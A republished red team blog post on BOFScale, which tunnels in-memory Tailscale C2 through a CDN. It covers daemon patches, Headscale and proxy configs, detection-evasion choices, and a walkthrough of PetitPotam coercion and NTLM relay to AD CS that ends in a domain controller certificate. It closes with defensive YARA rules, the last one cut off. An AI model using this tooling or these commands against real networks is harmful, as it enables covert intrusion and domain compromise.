core-jmp core-jmpdeath of core jump

BOFScale: A CDN-Fronted Tailnet from a BOF-PE

BOFScale combines a modified Tailscale daemon, client, and port forwarder running as Beacon Object Files to enable in-memory C2 networking infrastructure through CDN-fronted relay servers. This red team toolkit demonstrates RFC 6455 WebSocket integration for traversing CDN edge protection while maintaining zero disk artifacts.

oxfemale August 21, 2026 29 min read 54 reads
Export PDF
BOFScale: A CDN-Fronted Tailnet from a BOF-PE
Original text: “BOFScale: A CDN-Fronted Tailnet from a BOF-PE”Ceri Coburn, NetSPI Red Team Blog (August 19, 2026). Code blocks, YARA rules, configuration examples, and technical figures below are reproduced verbatim with attribution captions.

Executive Summary

Running Tailscale as a network layer for C2 traffic is not novel, but BOFScale distinguishes itself through a critical architectural innovation: the entire Tailscale daemon runs inside the implant process with zero external dependencies—no kernel driver, no system service, no disk artifacts, and no child processes. This in-process approach eliminates traditional C2 networking IOCs while enabling seamless communication through CDN infrastructure.

The implementation consists of three integrated BOF-PE (Beacon Object File—Portable Executable) components: tailscaled, a modified Tailscale daemon handling network stack and relay management; tailscale, a lightweight C++ client controlling node enrollment and configuration; and socksportfwd, a SOCKS5 port forwarder bridging local services to the tailnet. Traffic relays over standards-compliant RFC 6455 WebSocket connections indistinguishable from browser traffic at CDN edges, allowing both control plane and DERP relay to sit behind CloudFront or Fastly without requiring special configuration.

Why Tailscale Needed Patching

Tailscale’s original architecture requires two separate communication channels to reach the internet. The control plane uses the TS2021 protocol—a Noise-encrypted session established over HTTP connection upgrade. The DERP relay service employs its own proprietary HTTP upgrade mechanism for peer-to-peer traffic forwarding. Neither resembles standard RFC 6455 WebSocket connections that CDN providers understand and permit at the edge.

CDN providers like CloudFront and Fastly inspect WebSocket upgrade requests and route them appropriately, but non-standard upgrades fail with connection errors. While Tailscale included WebSocket support, it was “gated behind a JavaScript-only build tag and a debug environment variable”—insufficient for robust deployment in red team infrastructure. Enabling this functionality across Windows and Linux platforms and extending it to the TS2021 control protocol required targeted modifications to the Tailscale codebase.

Making Tailscale Speak RFC 6455

Enabling WebSocket DERP on Windows

The WebSocket dial path in derp/derphttp/websocket.go contained a build constraint limiting it to JavaScript targets. The first change expanded this to Windows unconditionally:

//go:build js || windows || ((linux || darwin) && ts_debug_websockets)

The init function was extended to establish a proper HTTP client respecting system proxy configuration:

func init() { 
    dialWebsocketFunc = dialWebsocket 
    transport := &http.Transport{ 
        Proxy: tshttpproxy.ProxyFromEnvironment, 
    } 
    httpClient = &http.Client{ 
        Transport: transport, 
    } 
    tshttpproxy.SetTransportGetProxyConnectHeader(transport) 
}

This ensures WebSocket dial respects whatever proxy configuration the host has, matching Tailscale’s standard proxy-awareness behavior.

Extending WebSockets to the TS2021 Control Channel

The control plane still used its standard upgrade path. The WebSocket dial logic in control/controlhttp was originally JavaScript-only. Renaming it to DialJS and allowing coexistence with the standard Dial method enabled runtime selection. The ts2021/client.go was updated to check an environment variable:

if ws, _ := envknob.LookupBool("TS_DEBUG_DERP_WS_CLIENT"); ws { 
    clientConn, err = chd.DialJS(ctx) 
} else { 
    clientConn, err = chd.Dial(ctx) 
}

This verification confirmed the control protocol could tunnel over standard WebSocket without issues, serving as a proof-of-concept for the final design.

Always Compile WebSocket Support on Desktop Platforms

With the implementation verified working, the ts_debug_websockets build tag was removed entirely. WebSocket support now compiles unconditionally on Windows, Linux, and Darwin. The websocket_stub.go build constraint was updated:

//go:build js || windows || linux || darwin

Automatic Fallback Without an Environment Variable

Environment variable requirements create operational friction. A more elegant approach attempts the standard upgrade first and falls back to WebSockets if an intermediate proxy blocks it. For the control plane in control/controlhttp/client.go, fallback triggers on HTTP 500 response (the typical CDN edge rejection):

if resp.StatusCode != http.StatusSwitchingProtocols { 
    if resp.StatusCode != 500 { 
        return nil, fmt.Errorf("unexpected HTTP response: %s", resp.Status) 
    } else { 
        return a.DialJS(ctx) 
    } 
}

For DERP in derp/derphttp/derphttp_client.go, the WebSocket dial logic was factored into a dedicated method. If the standard DERP handshake returns HTTP 426, the code falls back automatically:

if resp.StatusCode != 426 { 
    b, _ := io.ReadAll(resp.Body) 
    resp.Body.Close() 
    return nil, 0, fmt.Errorf("GET failed: %v: %s", err, b) 
} else { 
    c.logf("%s: connecting to derp-%d (%v) via websocket due to HTTP status 426", caller, reg.RegionID, reg.RegionCode) 
    return c.dialWebsocket(ctx, caller, reg) 
}

The environment variable gate in ts2021/client.go was removed, so Dial handles fallback internally.

Forcing WebSocket Mode from the Entry Point

With automatic fallback in place, the environment variable approach becomes redundant. However, the BOF entry point still sets it explicitly to prefer WebSocket mode from startup rather than after a failed attempt:

os.Setenv("TS_DEBUG_DERP_WS_CLIENT", "1")

This avoids unnecessary round trips on environments where the standard path is definitely blocked. Both DERP relays and Headscale can now be fronted by CloudFront or Fastly, with traffic at the CDN edge appearing as standard Upgrade: websocket requests with derp or ts2021 subprotocol headers.

The Headscale Stack

The headscale folder contains a Docker Compose stack running the entire control plane and DERP relay infrastructure. It combines Headscale with embedded DERP relay and Headplane admin UI, preconfigured to sit behind a CDN distribution:

HEADSCALE_HOSTNAME=d1a2b3c4e5f6g7.cloudfront.net docker compose up

Two init containers run sequentially before full operational status:

headscale-init runs before Headscale starts and patches configuration fields requiring the public hostname:

  • Sets server_url in headscale-config.yaml to https://$HEADSCALE_HOSTNAME
  • Fills empty hostname: field in derpmap.yaml with same value
  • Files are committed with blank fields so hostname is never baked in

headplane-init runs after Headscale passes healthcheck, handling one-time bootstrap:

  • Cookie secret: Generates random 32-character string, writes to cookie_secret field in headplane-config.yaml. Field left blank in committed config for uniqueness per deployment.
  • User creation: Creates Headscale user for node enrollment (defaults to default, overridable via HEADSCALE_USER)
  • Headplane pre-auth key: Generates 90-day pre-auth key for Headplane to enroll its own Tailscale node reaching Headscale API
  • Implant join key: Generates reusable ephemeral pre-auth key (90 days) and prints to compose output for distribution to implants
  • ACL policy: Checks if policy already loaded; if not, applies policy.json from repository. Only runs once; subsequent calls leave database policy untouched.

After init completion, Headscale serves on plaintext HTTP at port 5566, with TLS termination handled upstream by CDN and reverse proxy on origin server.

DERP Inside Headscale

Rather than a separate DERP server, the stack uses Headscale’s embedded relay, configured with verify_clients: true so only enrolled nodes can use it:

regions: 
  999: 
    regionid: 999 
    regioncode: hs 
    regionname: Headscale 
    nodes: 
      - name: 999a 
        regionid: 999 
        hostname: d1a2b3c4e5f6g7.cloudfront.net 
        canport80: false 
        derpport: 443

The derp.urls list in Headscale config is empty, so enrolled nodes never contact Tailscale’s own DERP infrastructure. All relay traffic stays within the operator-controlled stack.

Reverse Proxy Requirements

The CDN must forward WebSocket connections to origin, and the origin’s reverse proxy must pass them to Headscale at localhost:5566. A critical—and often missed—requirement is setting timeouts to zero on the internal proxy leg. WebSocket DERP relay connections stay open indefinitely; most proxy defaults close them long before natural completion.

Caddy configuration:

@tailscale path_regexp ^/(ts2021|derp|key) 
handle @tailscale { 
    reverse_proxy http://localhost:5566 { 
        transport http { 
            read_timeout 0 
            write_timeout 0 
        } 
    } 
}

Apache2 configuration:

# a2enmod proxy proxy_http proxy_wstunnel

<VirtualHost *:443> 
    # ... SSL configuration ... 

    ProxyRequests Off 
    ProxyPreserveHost On 

    # Disable proxy timeout — DERP relay connections stay open indefinitely 
    ProxyTimeout 0 

    # ts2021 and derp always connect via WebSocket upgrade 
    ProxyPass /ts2021 ws://localhost:5566/ts2021 
    ProxyPassReverse /ts2021 ws://localhost:5566/ts2021 

    ProxyPass /derp ws://localhost:5566/derp 
    ProxyPassReverse /derp ws://localhost:5566/derp 

    # key serves the server public key — plain HTTP, no upgrade 
    ProxyPass /key http://localhost:5566/key 
    ProxyPassReverse /key http://localhost:5566/key 
</VirtualHost>

Apache requires mod_proxy_wstunnel for WebSocket legs. Paths /ts2021 and /derp must use ws:// backend scheme, not http://; Apache refuses to tunnel WebSocket upgrade over plain HTTP proxy targets. The /ts2021 path carries TS2021 control protocol, /derp carries relay traffic, and /key serves server public key.

OPSEC Defaults

The Docker stack enforces several OPSEC-hardened defaults:

  • Logtail disabled—Headscale sends no telemetry to Tailscale Inc.
  • WireGuard port randomized per peer—makes port-based detection harder
  • Ephemeral nodes automatically removed after ten minutes offline—implants that go quiet don’t accumulate in node list
  • Headplane admin UI runs on port 3000, not exposed through CDN—accessed via SSH tunnel to origin server only
  • ACL policy auto-approves subnet route advertisements—implant can advertise default route without manual operator approval in UI

The Daemon: tailscaled

tailscaled is the Tailscale daemon compiled as a Windows DLL using CGo’s -buildmode=c-shared. The DLL exports a single Go function serving as the BOF-PE entry point. It runs as an async BOF, never blocking the implant thread.

Starting Up

When the C2 framework calls the Go export, stdout and stderr are redirected first. A goroutine reads from the write end of an OS pipe and forwards data to BeaconOutput, so Go runtime log output arrives in the operator console rather than disappearing.

Arguments extracted from the packed C2 argument blob using BeaconDataParse and BeaconDataExtract. A set of defaults is injected if not already present:

if !hasTun { 
    tokens = append(tokens, "-tun=userspace-networking") 
} 
if !hasNoLogs { 
    tokens = append(tokens, "-no-logs-no-support") 
} 
if !hasState { 
    tokens = append(tokens, "-state", "mem:") 
} 
if !hasSocket { 
    socket := fmt.Sprintf("\\\\.\\pipe\\%s", uuid.New()) 
    tokens = append(tokens, "-socket", socket) 
    BeaconPrintf("[=] No socket provided, using random socket %s\n", socket) 
}

Key defaults:

  • -tun=userspace-networking—Most important. Without WinTun kernel driver installed, Tailscale falls back to pure Go userspace networking. No kernel driver dependency; no elevated privileges needed for network stack.
  • -state mem:—Keeps all node state in memory; nothing written to disk
  • -no-logs-no-support—Disables Tailscale log upload service

If no socket path is provided, a random named pipe path using UUID is generated and printed. This value gets passed to tailscale in subsequent commands. The socket’s SDDL is changed to D:(A;;GA;;;WD), granting world access so the client BOF doesn’t need elevated privileges to open the pipe:

var windowsSDDL = "D:(A;;GA;;;WD)"

Once arguments are assembled, os.Args is set and the real tailscaled main() is called. The entire daemon runs in-process.

Important caveat: tailscaled should ideally run inside a sacrificial process. “The Go runtime is not designed to shut down cleanly when the memory-mapped PE is unmapped from memory. When the BOF-PE exits, the Go garbage collector threads and other runtime goroutines can crash because the memory they were executing against has been removed.”

Reducing IOCs

Running a full network daemon in-process creates observable behavior worth addressing. Several changes were made:

  • WSL DNS management removed—Tailscale’s DNS management calls wsl.exe to configure DNS in WSL instances. Removed entirely; it spawns a child process and is unnecessary in userspace-only scenarios.
  • DNS registration wrappedipconfig.exe /registerdns wrapped behind checks verifying tun mode is not userspace and binary not built with bofpe tag, so it never runs in this context.
  • ICMP pings replaced—Originally spawned ping.exe. Replaced with direct Windows ICMP API calls using IcmpCreateFile, IcmpSendEcho2, and IcmpCloseHandle, removing child process creation events.
  • Audit log and profile probes wrapped—Wrapped behind tun and build tag checks, preventing file access events to paths the daemon would normally probe but never actually use in this configuration.
  • TS_LOGS_DIR set to C:\ProgramData—Prevents creation of empty C:\ProgramData\tailscale folder since the daemon expects to write logs there but the path is redirected before directory creation.

Build Tags

Go build is performed with ts_omit_* tags stripping unneeded subsystems, covering ACME certificate management, AWS integrations, baked TLS roots, BIRD routing daemon support, CLI, client update logic, Kubernetes integrations, posture checking, network logging, system policy, web client, and Tailscale’s own telemetry. The resulting DLL contains exactly what’s needed to join Tailscale/Headscale network and route traffic, nothing more.

The Client: tailscale

tailscale is a C++23 BOF-PE running as a synchronous BOF. It has no Go runtime dependency and doesn’t depend on the daemon’s internals. It simply speaks HTTP/1.0 over the named pipe the daemon listens on, exactly like real tailscale.exe CLI on Windows.

HTTP over a Named Pipe

The pipe is opened with CreateFile using SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION flag combination. The impersonation flag is not optional—the daemon’s safesocket layer calls ImpersonateNamedPipeClient extracting the caller’s token for access control checks; connection is rejected without it.

Request format follows HTTP/1.0:

GET /localapi/v0/status HTTP/1.0 
Host: local-tailscaled.sock 
Tailscale-Cap: 125 
User-Agent: Tailscale 
Content-Length: 0

The Tailscale-Cap: 125 header tells the daemon which local API version the client understands. Responses are parsed by reading headers byte-by-byte until a blank line, extracting Content-Length if present, then reading either that many bytes or until pipe close.

What the Operator Can Do

Command syntax:

tailscale --socket \\.\\pipe\\<uuid> up --auth-key <tskey-auth-...> --login-server https://d1a2b3c4e5f6g7.cloudfront.net

The up command checks HaveNodeKey in current status first. If the node is not enrolled before, it sends a start request with the full prefs object and auth key. If the node is already enrolled, it simply patches WantRunning to true.

Prefs used for enrollment hardcode defaults:

  • ForceDaemon: true
  • CorpDNS: false (no DNS takeover)
  • RunSSH: false
  • NoStatefulFiltering: true

Available subcommands:

  • down—Patches WantRunning to false without disconnecting node
  • set --advertise-routes—Splits comma-separated CIDR list and patches AdvertiseRoutes on daemon
  • status—Fetches current node status and formats peer table showing tailnet IP, DNS name, and connection state
  • shutdown—Posts to /localapi/v0/shutdown, causing daemon’s main() to return and async BOF thread to exit cleanly (with Go runtime limitation caveat)

netcheck

The netcheck subcommand is a self-contained STUN probe not using the daemon at all. It is useful for verifying DERP server connectivity before enrollment. The operator supplies hostname via --endpoint and the tool builds a minimal DERP map pointing to that host, then runs STUN Binding Requests.

STUN implementation is contained in a single header file. It crafts RFC 5389 Binding Requests with SOFTWARE="tailnode" attribute and CRC-32 fingerprint, then parses Binding Responses extracting XOR-MAPPED-ADDRESS for both IPv4 and IPv6. The probe runs over async UDP using ASIO, measures RTT per region, detects NAT behavior, and prints a report.

Routing Traffic: socksportfwd

Userspace networking is not a complete limitation. Traffic flowing inbound from the tailnet works fine: the attack VM can reach the implant directly by tailnet address, and advertised subnet routes let the attack VM reach victim network hosts through the implant. The daemon handles this through an internal userspace network stack without needing a kernel driver.

The reverse direction does not work: processes on the victim host or connections initiated from the victim network cannot egress to the tailnet because no TUN adapter is installed for the OS to route through. For use cases like NTLM relay, where connections originate from the victim network and reach tools on the attack VM, this gap needs explicit bridging.

The socksportfwd bridges this gap. The tailscaled daemon exposes a SOCKS5 proxy server on 0.0.0.0:1080 with full tailnet access. socksportfwd binds a TCP port and for every incoming connection completes a SOCKS5 handshake to the proxy, requesting CONNECT to the target host/port on the tailnet. Once the proxy accepts, it relays data bidirectionally between incoming connection and SOCKS socket until either side closes. Any connection arriving on the local port effectively exits on the tailnet at the target address, without the victim host having network-level awareness of the destination.

Inside the Relay

Implementation uses ASIO’s async I/O model—no per-connection threads.

SOCKS5 handshake sequence is straightforward:

  1. Client sends greeting advertising NO AUTH as only supported method
  2. Waits for confirmation
  3. Sends CONNECT request for target

Target addresses are encoded as ATYP_IPV4, ATYP_IPV6, or ATYP_DOMAIN depending whether target parses as literal address or not. Using ATYP_DOMAIN for Tailscale MagicDNS names like attackvm.target.tun means the name is resolved by the daemon at the proxy level. The OS resolver on the compromised host never sees the query, which matters when the host has no tailnet DNS awareness.

Running as an Async BOF

socksportfwd runs as async BOF, not blocking the implant. When the C2 framework starts async BOF it allocates Windows event HANDLE that the BOF can retrieve via BeaconGetStopJobEvent. The tool stores the handle and sets up a 500ms repeating ASIO timer polling it with WaitForSingleObject(event, 0). When the event fires, io_context.stop() is called, the relay exits, and the BOF returns.

Example output:

[*] Listening on 0.0.0.0:8888 -> attackvm.target.tun:8888 via socks5 localhost:1080 
[*] Use your C2's built in job stop feature to stop the task

Arguments:

  • --t—Target host on tailnet
  • --tp—Target port
  • --p—Local listen port (defaults to target port if not set)
  • --s / --sp—Override SOCKS5 host/port if daemon listening elsewhere than localhost:1080

Putting It All Together

Network layout:

  • Victim network: 192.168.0.0/24
  • Compromised host (victim-ws01) in subnet with implant loaded
  • DC01 at 192.168.0.10 (domain controller, coercion target)
  • AD CS server at 192.168.0.20 (relay target)
  • Attack VM: No direct victim network access; enrolled on tailnet as operator.target.tun (100.64.0.1)
  • Implant on tailnet: victim-ws01.target.tun (100.64.0.2)

The Primary Use Case

The most direct use is NTLM relay. Port 8888 is a reasonable default, unlikely to be in use. With tailscaled running and node enrolled, socksportfwd binds port 8888 on the compromised host and forwards to a machine on the tailnet running ntlmrelayx. Authentication attempts from the victim network reach the attacker’s relay tool over the Tailscale mesh; DERP relay traffic looks like WebSocket connections to the CDN domain. The compromised host has no awareness of attacker infrastructure beyond CDN hostnames used for DERP and Headscale.

With local admin rights available, port 445 can be used by stopping the SMB service, freeing the port, then forwarding SMB traffic over the tailnet. The same pattern works for HTTP relay, LDAP, or forwarding any other service from the tailnet into victim network reach.

Network diagram: victim network, CDN edge, origin server running Headscale and DERP, and operator attack VM joined to the tailnet
BOFScale network layout — the implant reaches operator infrastructure only through CDN hostnames. Source: original article.

Enrolling the Attack VM

The first step (once before implant work) is enrolling the operator’s attack VM in the tailnet. This requires the same modified tailscaled binary used for the implant BOF-PE, not stock Tailscale. Stock Tailscale won’t connect to Headscale behind a CDN. Without RFC 6455 WebSocket patches, both TS2021 control upgrade and DERP relay upgrade are rejected at the CDN edge. The modified binary applies the same automatic fallback logic on the attack VM as the implant, making CDN-fronted infrastructure transparent to both sides.

The init script generates two pre-auth keys on first deployment: one reusable ephemeral key for implants, and one regular key for the attack VM. Both are printed to the compose output. For subsequent deployments or fresh keys:

docker exec headscale headscale preauthkeys create \
    --user default --expiration 90d

This key should not be marked --ephemeral. Ephemeral nodes are removed after ten minutes offline (right for implants, not persistent operator machines).

Attack VM enrollment:

sudo ./tailscaled --state /var/lib/tailscale/tailscaled.state &

sudo ./tailscale up \
    --login-server https://d1a2b3c4e5f6g7.cloudfront.net \
    --auth-key tskey-auth-...

Once enrolled, implants appear as nodes on the tailnet reachable by target.tun MagicDNS names or 100.64.x.x addresses. All traffic routes through the CDN-fronted DERP relay.

Per-Implant Workflow

Before touching an implant, generate a pre-auth key from the Headscale host. The init script creates one on first deployment and prints to the compose output; for subsequent operations, the same command runs directly on the container:

docker exec headscale headscale preauthkeys create \
    --user default --reusable --ephemeral --expiration 90d

Prints key to stdout:

tskey-auth-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

The --reusable flag means the same key works across multiple implants without generating a new one per implant. The --ephemeral flag matches Headscale config’s ten-minute inactivity timeout; nodes are cleaned up automatically when offline rather than accumulating.

With key in hand, the daemon is started as async BOF. Stdout and stderr are redirected to BeaconOutput by the entry point; all tailscaled log output arrives in the operator console in real time as the daemon runs. The first output line is the socket path needed for every subsequent tailscale call:

[=] No socket provided, using random socket \\.\\pipe\\8f3a1c2d-4b5e-6f7a-8b9c-0d1e2f3a4b5c
2026/07/16 12:34:56 wgengine: using userspace networking
2026/07/16 12:34:56 [v1] wgengine: created; tun=userspace-networking

The daemon is now running and listening on the named pipe, but not yet connected. It’s waiting for command via local API.

With socket path noted, enroll the node against the Headscale instance:

tailscale --socket \\.\\pipe\\8f3a1c2d-... up --auth-key tskey-auth-... --login-server https://d1a2b3c4e5f6g7.cloudfront.net
[=] Fetched latest status

The client gives no further enrollment confirmation. Daemon log output is asynchronous; DERP connectivity messages arrive shortly after client response:

2026/07/16 12:34:58 control: connected
2026/07/16 12:34:58 magicsock: DERP hs (d1a2b3c4e5f6g7.cloudfront.net): connected; latency 38ms

Run status to verify the node is up:

tailscale --socket \\.\\pipe\\8f3a1c2d-... status
[=] Fetched latest status
Running
100.64.0.2      victim-ws01.target.tun.                  -
100.64.0.1      operator.target.tun.                     idle, relay hs

Before connectivity tests, advertise the victim’s local subnet. Headscale ACL policy auto-approves advertised routes; they’re immediately active:

tailscale --socket \\.\\pipe\\8f3a1c2d-... set --advertise-routes 192.168.0.0/24

With node visible and subnet route active, confirm end-to-end connectivity from the attack VM. First ping the tailnet node itself:

ping -c 1 victim-ws01.target.tun
PING victim-ws01.target.tun (100.64.0.2) 56(84) bytes of data.
64 bytes from victim-ws01.target.tun (100.64.0.2): icmp_seq=1 ttl=64 time=42.3 ms

--- victim-ws01.target.tun ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.3/42.3/42.3/0.000 ms

Then ping a host in the advertised subnet to confirm route end-to-end:

ping -c 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1 (192.168.0.1): icmp_seq=1 ttl=128 time=45.8 ms

--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.8/45.8/45.8/0.000 ms

Note the difference: When pinging the tailnet node directly, ICMP response is synthesized by the userspace networking stack inside the implant; no real kernel TUN exists on the victim side so tailscaled handles it internally. When pinging an advertised subnet host, the implant issues a real ICMP request on the local network using the Windows ICMP API (IcmpSendEcho2) rather than spawning ping.exe—the same IOC reduction described in the daemon section.

To forward a port from the victim network to a tailnet machine, start socksportfwd as a second async BOF:

socksportfwd --t attackvm.target.tun --tp 8888 --p 8888

With the forwarder running, start ntlmrelayx on the attack VM targeting the AD CS web enrollment endpoint on the CA at 192.168.0.20. Target is specified as IP rather than hostname since the attack VM has no inherent visibility into the target domain’s DNS; if the domain’s DNS server is added to the attack VM’s resolver configuration, hostnames resolve and can be used. The --http-port flag matches the forwarded port:

ntlmrelayx.py -t http://192.168.0.20/certsrv/certfnsh.asp \
    --adcs --template DomainController \
    --http-port 8888 -smb2support

PetitPotam is used to coerce dc01 at 192.168.0.10 into authenticating to the compromised host. The @8888 suffix in listener address directs the WebDAV client on dc01 to connect on port 8888 rather than default port 80:

python3 PetitPotam.py -d corp.local -u jsmith -p 'Password123!' \
    victim-ws01.corp.local@8888/a \
    dc01.corp.local

dc01‘s machine account sends NTLM authentication to victim-ws01.corp.local:8888. socksportfwd receives the connection and forwards it through the SOCKS5 proxy to attackvm.target.tun:8888 where ntlmrelayx is waiting. ntlmrelayx relays the machine account credentials to the AD CS web enrollment endpoint; a certificate for the DC machine account is issued:

[*] HTTPD(8888): Connection from 100.64.0.2 controlled, attacking target http://192.168.0.20/certsrv/certfnsh.asp
[*] Authenticating against http://192.168.0.20/certsrv/certfnsh.asp as CORP/DC01$ SUCCEED
[*] Certificate issued for DC01$
[*] Saving certificate to DC01$.pfx

The coerced host, relay listener, and relay target are three different machines. The victim network sees only a WebDAV connection to a trusted host. Relay infrastructure is entirely invisible from that vantage point.

When operation is done, stop the port forwarder through the C2’s job management. The Go runtime doesn’t exit cleanly when hosting PE is unmapped; the daemon cannot be terminated gracefully through tailscale shutdown. The correct way to stop is killing the sacrificial process it injected into using the C2’s process termination capability.

Defensive Considerations

Absence of typical artifacts:

  • No TUN adapter
  • No tailscale service entry
  • No disk state
  • No child processes after startup
  • Named pipe has random UUID in path
  • Uses permissive SDDL not matching legitimate Tailscale installation

Traffic blending: Outbound traffic is WebSocket connections to CDN domains. Without knowing specific distributions in use, these are difficult to distinguish from any application using WebSockets through a CDN.

Process-level detection challenges: Go runtime heap present inside process (not a Go binary). Sufficiently thorough memory scan looking for Go runtime signatures in unexpected processes would find most memory-resident Go binaries. The repository includes bofscale.yara for detection without generating false positives against legitimate tailscale binaries.

Network exposure: SOCKS5 server exposed by daemon is bound to 0.0.0.0:1080, not loopback interface. It is visible to any host reaching the compromised machine on that port; network monitoring tools enumerating local listening sockets would see it.

For defenders: The most reliable signal is probably a combination of loopback SOCKS5 listener with no corresponding process in expected location and outbound WebSocket connections to CDN addresses with DERP or TS2021 subprotocols. But TLS inspection is needed to see this information in requests. Neither alone is conclusive, but together worth closer look.

Detection and Hunting Guidance

Detection Opportunity #1: BOFScale BOF-PE In-Memory Signature Detection

Data Source: Process: Process Access
Detection Strategy: Signature

Detection Concept: Deploy YARA rules to scan process memory for BOFScale BOF-PE components. Rules use hex-encoded string patterns to match unique indicators in compiled binaries not found in legitimate Tailscale installations.

YARA Rule – BOFScale_Tailscaled_BOFPE:

rule BOFScale_Tailscaled_BOFPE {
 meta:
 description = "Detects tailscaled BOF-PE - modified Tailscale daemon running in-memory via C2"
 author = "NetSPI"
 severity = "critical"

 strings:
 // "tailscaled shutdown gracefully"
 $s1 = { 74 61 69 6C 73 63 61 6C 65 64 20 73 68 75 74 64 6F 77 6E 20 67 72 61 63 65 66 75 6C 6C 79 }
 // "No socket provided, using random socket"
 $s2 = { 4E 6F 20 73 6F 63 6B 65 74 20 70 72 6F 76 69 64 65 64 2C 20 75 73 69 6E 67 20 72 61 6E 64 6F 6D 20 73 6F 63 6B 65 74 }
 // "beaconWriter" - Go type redirecting stdout to Beacon API
 $s3 = { 62 65 61 63 6F 6E 57 72 69 74 65 72 }
 // "TS_DEBUG_DERP_WS_CLIENT" - forces WebSocket DERP relay
 $s4 = { 54 53 5F 44 45 42 55 47 5F 44 45 52 50 5F 57 53 5F 43 4C 49 45 4E 54 }
 // "program.exe" - fake argv[0] placeholder
 $s5 = { 70 72 6F 67 72 61 6D 2E 65 78 65 }
 // "-tun=userspace-networking"
 $s6 = { 2D 74 75 6E 3D 75 73 65 72 73 70 61 63 65 2D 6E 65 74 77 6F 72 6B 69 6E 67 }
 // "-no-logs-no-support"
 $s7 = { 2D 6E 6F 2D 6C 6F 67 73 2D 6E 6F 2D 73 75 70 70 6F 72 74 }
 // "BeaconOutput" - CGO import for C2 output
 $b1 = { 42 65 61 63 6F 6E 4F 75 74 70 75 74 }
 // "BeaconDataParse" - BOF data parsing
 $b2 = { 42 65 61 63 6F 6E 44 61 74 61 50 61 72 73 65 }
 // "BeaconDataExtract" - BOF argument extraction
 $b3 = { 42 65 61 63 6F 6E 44 61 74 61 45 78 74 72 61 63 74 }
 // "-state" + "mem:" co-occurrence (in-memory state, no disk)
 $s8 = { 2D 73 74 61 74 65 }
 $s9 = { 6D 65 6D 3A }

 condition:
 ($s1 or $s2 or $s3) and
 (1 of ($b*)) and
 (2 of ($s4, $s5, $s6, $s7, $s8, $s9))
}

YARA Rule – BOFScale_Tailscale_Client_BOFPE:

rule BOFScale_Tailscale_Client_BOFPE {
 meta:
 description = "Detects tailscale BOF-PE - C++ client controlling tailscaled daemon over named pipe"
 author = "NetSPI"
 severity = "critical"

 strings:
 // "tailscale IPR pipe, is tailscaled async BOF running"
 $s1 = { 74 61 69 6C 73 63 61 6C 65 20 49 50 52 20 70 69 70 65 2C 20 69 73 20 74 61 69 6C 73 63 61 6C 65 64 20 61 73 79 6E 63 20 42 4F 46 20 72 75 6E 6E 69 6E 67 }
 // "status from backed" - distinctive typo fingerprint
 $s2 = { 73 74 61 74 75 73 20 66 72 6F 6D 20 62 61 63 6B 65 64 }
 // "No headscale login-server provided"
 $s3 = { 4E 6F 20 68 65 61 64 73 63 61 6C 65 20 6C 6F 67 69 6E 2D 73 65 72 76 65 72 20 70 72 6F 76 69 64 65 64 }
 // "Host: local-tailscaled.sock"
 $s4 = { 48 6F 73 74 3A 20 6C 6F 63 61 6C 2D 74 61 69 6C 73 63 61 6C 65 64 2E 73 6F 63 6B }
 // "Tailscale-Cap: 125"
 $s5 = { 54 61 69 6C 73 63 61 6C 65 2D 43 61 70 3A 20 31 32 35 }
 // "WantRunningSet" - local API prefs mask
 $s6 = { 57 61 6E 74 52 75 6E 6E 69 6E 67 53 65 74 }
 // "AdvertiseRoutesSet"
 $s7 = { 41 64 76 65 72 74 69 73 65 52 6F 75 74 65 73 53 65 74 }
 // "No socket provided, bailing"
 $s8 = { 4E 6F 20 73 6F 63 6B 65 74 20 70 72 6F 76 69 64 65 64 2C 20 62 61 69 6C 69 6E 67 }
 // "igoring" - distinctive misspelling of "ignoring"
 $s9 = { 69 67 6F 72 69 6E 67 }
 // "Fetched latest status"
 $s10 = { 46 65 74 63 68 65 64 20 6C 61 74 65 73 74 20 73 74 61 74 75 73 }
 // "NotepadURLs" - internal pref key
 $s11 = { 4E 6F 74 65 70 61 64 55 52 4C 73 }
 // "FrontendLogID" - startup JSON field
 $s12 = { 46 72 6F 6E 74 65 6E 64 4C 6F 67 49 44 }
 // "zzzzzzzzzzz" - BEACON_MAIN format string (11 z's)
 $b1 = { 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A }
 // "BeaconDataParse" - BOF data parsing
 $b2 = { 42 65 61 63 6F 6E 44 61 74 61 50 61 72 73 65 }

 condition:
 ($s1 or $s2 or $s3) or
 ($s4 and $s5 and 2 of ($s6, $s7, $s8, $s9, $s10, $s11, $s12)) or
 ($b1 and $b2 and 1 of ($s4, $s5, $s6, $s7))
}

YARA Rule – BOFScale_SocksPortFwd_BOFPE:

rule BOFScale_SocksPortFwd_BOFPE {
 meta:
 description = "Detects socksportfwd BOF-PE - async SOCKS5 port forwarder for C2 implant"
 author = "NetSPI"
 severity = "high"

 strings:
 // "setevent 0x%x' or your C2 built in features to stop the task"
 $s1 = { 72 74 6F 2D 73 65 74 65 76 65 6E 74 20 30 78 25 78 }
 // "This BOF only supports execution via the async API"
 $s2 = { 54 68 69 73 20 42 4F 46 20 6F 6E 6C 79 20 73 75 70 70 6F 72 74 73 20 65 78 65 63 75 74 69 6F 6E 20 76 69 61 20 74 68 65 20 61 73 79 6E 63 20 41 50 49 }
 // "stop event from beacon API"
 $s3 = { 73 74 6F 70 20 65 76 65 6E 74 20 66 72 6F 6D 20 62 65 61 63 6F 6E 20 41 50 49 }
 // "Port forwarder listening on %s:%d"
 $s4 = { 50 6F 72 74 20 66 6F 72 77 61 72 64 65 72 20 6C 69 73 74 65 6E 69 6E 67 20 6F 6E 20 25 73 3A 25 64 }
 // "Forwarding to %s:%d via SOCKS5 proxy %s:%d"
 $s5 = { 46 6F 72 77 61 72 64 69 6E 67 20 74 6F 20 25 73 3A 25 64 20 76 69 61 20 53 4F 43 4B 53 35 20 70 72 6F 78 79 20 25 73 3A 25 64 }
 // "igoring" - distinctive misspelling shared with tailscale
 $s6 = { 69 67 6F 72 69 6E 67 }
 // "SOCKS5 connection established to target"
